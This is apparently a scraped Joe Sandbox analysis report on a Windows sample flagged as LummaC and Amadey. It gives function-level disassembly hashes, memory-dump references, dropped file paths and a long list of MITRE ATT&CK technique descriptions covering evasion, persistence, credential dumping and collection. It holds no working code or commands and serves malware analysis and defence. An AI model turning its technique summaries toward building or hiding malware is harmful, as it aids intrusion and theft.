Opcode Fuzzy Hash: 1cbfd2780bc33f3a437b09008cb0e627c906c1623d91543066de9fab292285fd
Instruction Fuzzy Hash: B751F4B460C3509BD7009F24C8126ABB7F1EF92315F1885ADE4C55B391E739D642CB5E

Function 00417190 Relevance: 1.6, Strings: 1, Instructions: 375COMMON

Download Yara Rule

Strings

RuA, xrefs: 00417542

Memory Dump Source

Source File: 00000028.00000002.2362998162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_47760e826c.jbxd

Similarity

API ID:
String ID: RuA
API String ID: 0-3286949753
Opcode ID: d354970e6102b2f6e14b23a1e4f96fce490ba8160eb9c464f18d88e9fbdd3b3e
Instruction ID: 812d55878a62f6fab66defe66c88ae53172d99736bf38563795d352ae53827f1
Opcode Fuzzy Hash: d354970e6102b2f6e14b23a1e4f96fce490ba8160eb9c464f18d88e9fbdd3b3e
Instruction Fuzzy Hash: 8CB10234208701CFE7258F29D851B73B7F2EB4A711F1489ADD4968B392D738A882CB58

Function 00425230 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

cba`, xrefs: 004252B6

Memory Dump Source

Source File: 00000028.00000002.2362998162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_47760e826c.jbxd

Similarity

API ID: InitializeThunk
String ID: cba`
API String ID: 2994545307-1926275841
Opcode ID: e363ae243e25186fafc727a7c143fe84283cddf713b74be5aabea9aa04b6da8b
Instruction ID: beb69707a00ddb1e0f288a180930159145dfafadf277c1aff9f3426dfcb85bde
Opcode Fuzzy Hash: e363ae243e25186fafc727a7c143fe84283cddf713b74be5aabea9aa04b6da8b
Instruction Fuzzy Hash: 47113536A44B204BC324CE289DC163777E1AB95314F95263DDCA9D33A1E278EC009AD9

Function 0043CAC0 Relevance: .5, Instructions: 548COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2362998162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_47760e826c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86b120d65a92fc5bdbbef3624e805ea907a676f62533a2aebf6e078355a3b7f7
Instruction ID: a0fb517757f1b8da7777bae7579d9f52a382c29ac2183c4fd28747a7d9f1db1e
Opcode Fuzzy Hash: 86b120d65a92fc5bdbbef3624e805ea907a676f62533a2aebf6e078355a3b7f7
Instruction Fuzzy Hash: F402127AB04216CFC704CF28E8906AAB7F2FB8A311F1A847ED58593351D734AD55CB86

Function 00405910 Relevance: .4, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2362998162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_47760e826c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72ef3389d17b5c2d7356fca882b754ee43f181ee348d4ceda7fd19fbe0bcaa8a
Instruction ID: 292f23283d7cd07bb6fd19c8603031892cd16be448e450c68c3e166b8ce1a4f1
Opcode Fuzzy Hash: 72ef3389d17b5c2d7356fca882b754ee43f181ee348d4ceda7fd19fbe0bcaa8a
Instruction Fuzzy Hash: DAF1CF356087418FD724CF29C88066BFBE2EFD9304F08882EE5D597791E679E904CB5A

Function 0041597D Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2362998162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_47760e826c.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 73dc7dffa9da4718634bc1df2c87a66b7a70c35b3b00ffd698cd8eaa02142161
Instruction ID: d5ab4806ffe72a1369b891b0c03ce99b48dccca7df38fd9f7e726c1ee5c76a78
Opcode Fuzzy Hash: 73dc7dffa9da4718634bc1df2c87a66b7a70c35b3b00ffd698cd8eaa02142161
Instruction Fuzzy Hash: 250124347A0A01DBE7258B15A891BB37293FB82310FA49029E18293281DB69AC91875D

Function 0042A060 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2362998162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_47760e826c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a62376ffa6d90c1baa96e3dbf302ab3dfe7742f197fede568b4cb05d9ce342f2
Instruction ID: 81ebb7552e56e7d5adf40a514b1d7c04d719dbb311c9cbdb1d4034df3b6f2776
Opcode Fuzzy Hash: a62376ffa6d90c1baa96e3dbf302ab3dfe7742f197fede568b4cb05d9ce342f2
Instruction Fuzzy Hash: D601D4F5B00B1147D7309E11A5C0B27B2A9AF8070CF59443EED4467342DB7EEC28C69A

Function 00430A6C Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2362998162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_47760e826c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5edfeaaa6d403e8ef5147276fc98aea11c6f20c8930d55cc66b8c43186eff2a3
Instruction ID: 7f1b5fbc4c8fd8bdc68119b10335f3dece141e9bb0e85f0d5af8bf7bebd0fb1e
Opcode Fuzzy Hash: 5edfeaaa6d403e8ef5147276fc98aea11c6f20c8930d55cc66b8c43186eff2a3
Instruction Fuzzy Hash: 53011AF05202006EE714FB3CCD0AA377AECD745204F41465CBC65DB2D5E274A8188BA6

Function 0040C274 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2362998162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_47760e826c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32957ae45f5fb5a31ef22e0da77331464b0a71ff3474b199ef627a84159dc668
Instruction ID: 52fe0259059b82c7cb9fb3d0f913ef24527c2e8030ec2916e1bb67edfa7a0227
Opcode Fuzzy Hash: 32957ae45f5fb5a31ef22e0da77331464b0a71ff3474b199ef627a84159dc668
Instruction Fuzzy Hash: 01D0122494A2994AD3068F389CA1731BBB1EF03100F442558D142DB291C7D09016865C

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_8cb1e32b25.exe_5925bcfef49ffe53e647e9887bd63a4b49f62a44_b7473a35_14b034a0-fbb2-4dab-abaf-166522d4c370\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE167.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE4B4.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE503.tmp.xml

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegSvcs.exe.log

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Tactics:	Lateral Movement
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre